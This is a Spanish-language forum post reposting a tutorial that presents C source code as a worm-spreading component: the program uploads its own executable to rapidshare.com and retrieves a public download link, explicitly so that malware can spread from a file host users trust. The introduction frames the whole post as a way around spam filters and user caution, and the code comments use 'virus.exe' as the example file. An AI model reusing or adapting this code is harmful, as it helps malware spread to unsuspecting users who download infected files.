Rapidshare.com: a new spreading platform
Publicado: 19 Dic 2011, 21:52
rapidshare.com: una nueva plataforma de difusión. La difusión de gusanos se está volviendo más y más difícil. Los servidores de correo electrónico han avanzado sus tecnologías para evitar el spam, que la gente no abra archivos adjuntos de correo electrónico sospechosos, la mayoría de los usuarios de P2P usan torrents en lugar de descargar archivos individuales, incluso los usuarios de IRC saben que no deben aceptar archivos DCC de la gente que no sabe o desconfia. ¿Y ahora qué? He visto tanto el RD-EF y la DIA usar servidores HTTP en los equipos infectados para difundir, pero este método no funciona bien. Desafortunadamente, no se puede obligar a un puerto en Windows Vista sin interacción del usuario, y los usuarios ven una URL con la que no están familiarizados y se preocupan ... por lo que este método está muerto. En este tutorial, te mostraré cómo dar el siguiente paso hacia adelante y hacer que los usuarios descarguen de un sitio que conocen y confían. Hace un tiempo, me contrataron para escribir software para cargar los archivos de forma pragmática a [Enlace externo eliminado para invitados]. A la vez, que no creo en nada de eso. Un par de días pasados y me di cuenta de que esto sería una excelente plataforma para los gusanos para propagarse. Mediante la edición de algunas de mis funciones, tuve la oportunidad de convertir el código de malware en formato amigable. Mi propósito para este tutorial no es enseñar cómo escribir código en C o explicar sockets. No voy a comentar sobre cada línea de código. conocimiento de sockets c y ventanas son un requisito para este tutorial ... lo siento chicos.
main.c
rapidshare.c
misc.c
header.h
Según el autor se puede copiar,ripear o lo que uno quiera con el código bajo su propia responsabilidad...
Autor : kefi
Espero que les sirva...
Saludos !
main.c
Código: Seleccionar todo
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include "header.h"
int main(void){
char *szFileURL;
char *szFilename;
DeleteFile("logfile.txt");
szFilename = (char *) malloc(256);
memset(szFilename, 0, 256);
GetModuleFileName(0, szFilename, 256);
szFileURL = (char *) malloc(128);
memset(szFileURL, 0, 128);
if(rsUploadFile(szFilename, "test.exe", szFileURL) == FALSE){
logLine("could not upload file!");
return 0;
} else {
logLine("upload successful\r\n\turl: %s", szFileURL);
return 0;
}
}
Código: Seleccionar todo
/*
* rsUploadFile()
* szFilename -> file to be uploaded (ie - c:\windows\virus.exe)
* szUploadName -> name to be uploaded as (ie - virus.exe)
* szFileURL -> buffer to accept uploaded file path
* 128 bytes is plenty (http://rapidshare.com/xxxxxxxxx/filename.exe)
*
* -> handles information from rsGetUploadServer() and rsCreateHeader()
* -> sends headers and requests to www.rapidshare.com
* -> reads file stored at szFilename and sends 1024 bytes at a time to the
* server returned from rsGetUploadServer
* -> parses data returned from www.rapidshare.com
*
* returns TRUE on success
* FALSE on failure
*/
BOOL rsUploadFile(char *szFilename, char *szUploadName, char *szFileURL){
HANDLE hFile;
int nFileSize = 0;
hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hFile == INVALID_HANDLE_VALUE){
logLine("could not open '%s'!", szFilename);
return FALSE;
}
nFileSize = GetFileSize(hFile, 0);
if(nFileSize < 1024){ logLine("unrealistic or invalid file size: %d", nFileSize);
return FALSE;
}
logLine("file size: %d", nFileSize);
char *szServer;
char *szHeader;
wsaInitiated = initWSA();
// create buffer to hold upload server
szServer = (char *) malloc(28);
memset(szServer, 0, 28);
// get upload server
if(rsGetUploadServer(szServer) == FALSE){
logLine("could not find valid upload server!");
return FALSE;
}
logLine("found valid server... creating header");
// create buffer to hold header
szHeader = (char *) malloc(640);
memset(szHeader, 0, 640);
// create header
rsCreateHeader(szUploadName, nFileSize, szHeader);
logLine("created header... attempting connection");
struct hostent *pHostEnt;
pHostEnt = gethostbyname(szServer);
if(!pHostEnt){
logLine("gethostbyname() error: %d", WSAGetLastError());
return FALSE;
}
SOCKET sock;
// create socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET){
logLine("socket() error: %d", WSAGetLastError());
return FALSE;
}
SOCKADDR_IN pSockAddr;
// configure socket
pSockAddr.sin_family = AF_INET;
pSockAddr.sin_port = htons(80);
pSockAddr.sin_addr.S_un.S_addr = *((unsigned long *) pHostEnt->h_addr_list[0]);
int ret = 0;
// attempt to connect to server
ret = connect(sock, (struct sockaddr *) &pSockAddr, sizeof(struct sockaddr));
if(ret != 0){
logLine("connect() error: %d", WSAGetLastError());
closesocket(sock);
return FALSE;
}
logLine("\r\nconnected to %s\r\n", szServer);
// send header
transfer(szHeader);
free(szHeader);
char *buffer;
int x = 0;
int i = 0;
// create buffer for file contents
buffer = (char *) malloc(1024);
memset(buffer, 0, 1024);
SetFilePointer(hFile, 0, 0, FILE_BEGIN);
while(1){
i = 0;
// read 1024 bytes from file
ret = ReadFile(hFile, buffer, 1024, &i, 0);
if(ret == 0)
// error checking
break;
if(i == 0)
// error checking
break;
// send 1024 (or whatever's left) to server
ret = send(sock, buffer, i, 0);
// add bytes read to offset in file
x += i;
logLine("sent %d of %d bytes", x, nFileSize);
}
CloseHandle(hFile);
// error checking
if(x != nFileSize){
logLine("send error: %d [%d != %d]!", WSAGetLastError(), x, nFileSize);
closesocket(sock);
return FALSE;
}
logLine("sent all %d bytes!", x);
char *szHeaderTail; // oxymoron? lawlzzzzz
// create buffer for the end of the header
szHeaderTail = (char *) malloc(128);
memset(szHeaderTail, 0, 128);
sprintf(szHeaderTail, "\r\n%s--\r\n", szBoundary);
// send end of header
transfer(szHeaderTail);
free(szHeaderTail);
logLine("sent entire packet... fetching results");
// restore buffer to recv data
memset(buffer, 0, 1024);
// try to recv 1023 bytes from server
ret = recv(sock, buffer, 1023, 0);
if(ret != 0){
// success
logLine(buffer);
closesocket(sock);
} else {
// failure
logLine("recv error: %d", WSAGetLastError());
closesocket(sock);
return FALSE;
}
// parse data from recv buffer
x = ret;
while(buffer[x] != '?')
// search for "?"
x--;
x--; // we want the byte before "?"
i = x;
while(buffer[i] != '=') // search for "="
i--;
i++; // we want the byte after "="
int a = 0;
int b = 0;
for(a = i; a <= x; a++) // start at byte after "=" and end at byte before "?"
szFileURL[b++] = buffer[a];
szFileURL[b++] = 0; // end of string = char(0)
if(szFileURL) // error checking
return TRUE;
else
return FALSE;
}
/*
* rsGetUploadServer()
* szBuffer -> buffer to accept upload server
* 28 bytes is plenty (http://rsXXXl3.rapidshare.com)
*
* querys www.rapidshare.com for the next avalible (preffered) server to upload files to
*
* returns TRUE on success
* FALSE on failure
*/
BOOL rsGetUploadServer(char *szBuffer){
SOCKET sock;
struct hostent *pHostEnt;
int ret = 0;
char *buf;
char *buf2;
// make sure WSAStartup() has been called and succeded
if(wsaInitiated == FALSE){
wsaInitiated = initWSA();
if(wsaInitiated == FALSE){
logLine("WSAStartup() error: %d", WSAGetLastError());
return FALSE;
}
}
pHostEnt = gethostbyname("www.rapidshare.com");
if(!pHostEnt){
logLine("gethostname() error: %d", WSAGetLastError());
return FALSE;
}
SOCKADDR_IN pSockAddr;
// create socked and error check
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock == INVALID_SOCKET){
logLine("socket() error: %d", WSAGetLastError());
return FALSE;
}
// configure socket
pSockAddr.sin_family = AF_INET;
pSockAddr.sin_port = htons(80);
pSockAddr.sin_addr.S_un.S_addr = *((unsigned long *)pHostEnt->h_addr_list[0]);
// attempt to connect to www.rapidshare.com
if(connect(sock, (struct sockaddr *)&pSockAddr, sizeof(struct sockaddr)) != 0){
logLine("connect() error: %d", WSAGetLastError());
closesocket(sock);
return FALSE;
}
logLine("connected to www.rapidshare.com... getting prefered server information.");
// request next upload server
transfer("GET /cgi-bin/rsapi.cgi?sub=nextuploadserver_v1 HTTP/1.0\r\n\r\n");
// create buffer to recv data
buf = (char *) malloc(512);
memset(buf, 0, 512);
// recv 511 bytes from rapidshare
ret = recv(sock, buf, 511, 0);
buf2 = (char *) malloc(56);
// the next lines parse data for server
int a = ret;
int b = 0;
int c = 0;
while(buf[a] != '\n') // search for new line
a--;
a++; // we want byte after new line
for(b = a; b <= ret; b++)
buf2[c++] = buf[b]; // add to buffer
buf2[c++] = 0; // end of string = char(0)
sprintf(szBuffer, "rs%sl3.rapidshare.com", buf2); // rs_SERVER_NAME_l3.rapidshare.com
logLine("upload server: %s", szBuffer);
free(buf); // some memory cleanup
free(buf2);
closesocket(sock); // close socket
return TRUE;
}
/*
* rsCreateHeader()
* szFilename -> file to be uploaded (ie - virus.exe)
* nFileSize -> length of file to be uploaded
* szBuffer -> buffer to accept header
* should be at least 512 bytes
*
* -> creates the HTTP POST header for uploading files to www.rapidshare.com
*
*/
void rsCreateHeader(char *szFilename, int nFileSize, char *szBuffer){
char *temp;
char szContentHeader[384];
int nContentBytes = 0;
temp = (char *) malloc(256);
sprintf(temp, "%s\r\nContent-Disposition: form-data; name=\"rsapi_v1\"\r\n\r\n1\r\n", szBoundary);
strcpy(szContentHeader, temp);
memset(temp, 0, 256);
sprintf(temp, "%s\r\nContent-Disposition: form-data; name=\"filecontent\"; filename=\"%s\"\r\n\r\n", szBoundary, szFilename);
strcat(szContentHeader, temp);
nContentBytes = strlen(szContentHeader);
nContentBytes += strlen(szBoundary);
nContentBytes += strlen("\r\n--\r\n");
nContentBytes += nFileSize;
temp = (char *) malloc(640);
memset(temp, 0, 640);
sprintf(temp, "POST /cgi-bin/upload.cgi HTTP/1.0\r\nContent-Type: multipart/form-data; boundary=%s;\r\nContent- Length: %d\r\n\r\n%s", szBoundary, nContentBytes, szContentHeader);
strcpy(szBuffer, temp); free(temp);
}
Código: Seleccionar todo
BOOL initWSA(void){
WSADATA pWSAData;
if(WSAStartup(0x0101, &pWSAData) != 0)
if(WSAStartup(0x0202, &pWSAData) != 0)
return FALSE;
return TRUE;
}
void logLine(char *szLine, ...){
va_list pVA; // variable arguments are cool :)
va_start(pVA, szLine);
char *buffer = malloc(0xffff);
FILE *fp = fopen("logfile.txt", "ab");
if((!buffer) || (!fp)){
va_end(pVA);
}
vsprintf(buffer, szLine, pVA);
fprintf(fp, "%s\r\n", buffer);
free(buffer);
fclose(fp);
}
Código: Seleccionar todo
// this saves your fingers...
#define transfer(szData) { send(sock, szData, strlen(szData), 0); logLine("%s", szData); }
// misc functions
BOOL initWSA(void);
void logLine(char *, ...);
// rapidshare functions
BOOL rsUoloadFile(char *, char *, char *);
BOOL rsGetUploadServer(char *);
void rsCreateHeader(char *, int, char *);
// rapidshare boundary
char szBoundary[] = "----------------286B29206B65666920323030390A"; // hex :)
BOOL wsaInitiated = FALSE;
#include "rapidshare.c"
#include "misc.c"
Autor : kefi
Espero que les sirva...
Saludos !